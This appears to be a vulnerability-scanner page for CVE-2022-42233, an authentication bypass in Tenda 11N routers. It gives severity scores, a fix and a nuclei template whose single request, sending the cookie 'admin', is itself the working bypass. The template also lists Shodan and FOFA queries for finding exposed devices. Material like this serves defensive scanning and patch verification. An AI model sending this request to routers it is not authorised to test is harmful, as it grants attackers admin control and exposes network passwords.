Tenda 11N - Authentication Bypass

criticalseverity

9.8CVSS score

43.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Tenda 11N with firmware version V5.07.33_cn contains an authentication bypass vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Unauthenticated attackers can bypass authentication by setting an admin cookie to gain full administrative access to Tenda 11N routers, enabling complete device configuration changes and network compromise.

Fix

Apply the latest firmware update provided by Tenda to fix the authentication bypass vulnerability (CVE-2022-42233).

How to confirm it

Send: GET /index.asp
Positive when: contains "def_wirelesspassword" and "Tenda 11N" AND contains in header "GoAhead-Webs" AND status 200

Run it with nuclei: nuclei -id CVE-2022-42233 -u <target>

The full check

id: CVE-2022-42233

info:
  name: Tenda 11N - Authentication Bypass
  author: For3stCo1d
  severity: critical
  description: |
    Tenda 11N with firmware version V5.07.33_cn contains an authentication bypass vulnerability. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Unauthenticated attackers can bypass authentication by setting an admin cookie to gain full administrative access to Tenda 11N routers, enabling complete device configuration changes and network compromise.
  remediation: |
    Apply the latest firmware update provided by Tenda to fix the authentication bypass vulnerability (CVE-2022-42233).
  reference:
    - https://github.com/D0ngsec/vulns/blob/main/Tenda/Tenda_11N_Authentication_Bypass.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42233
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-42233
    cwe-id: CWE-287
    epss-score: 0.43366
    epss-percentile: 0.9874
    cpe: cpe:2.3:o:tenda:11n_firmware:5.07.33_cn:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tenda
    product: 11n_firmware
    shodan-query:
      - http.title:"Tenda 11N"
      - http.title:"tenda 11n"
    fofa-query:
      - product=="Tenda-11N-Wireless-AP"
      - product=="tenda-11n-wireless-ap"
      - title="tenda 11n"
    google-query: intitle:"tenda 11n"
  tags: cve,cve2022,tenda,auth-bypass,router,iot,vuln

http:
  - raw:
      - |
        GET /index.asp HTTP/1.1
        Host: {{Hostname}}
        Cookie: admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'def_wirelesspassword'
          - 'Tenda 11N'
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - 'GoAhead-Webs'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from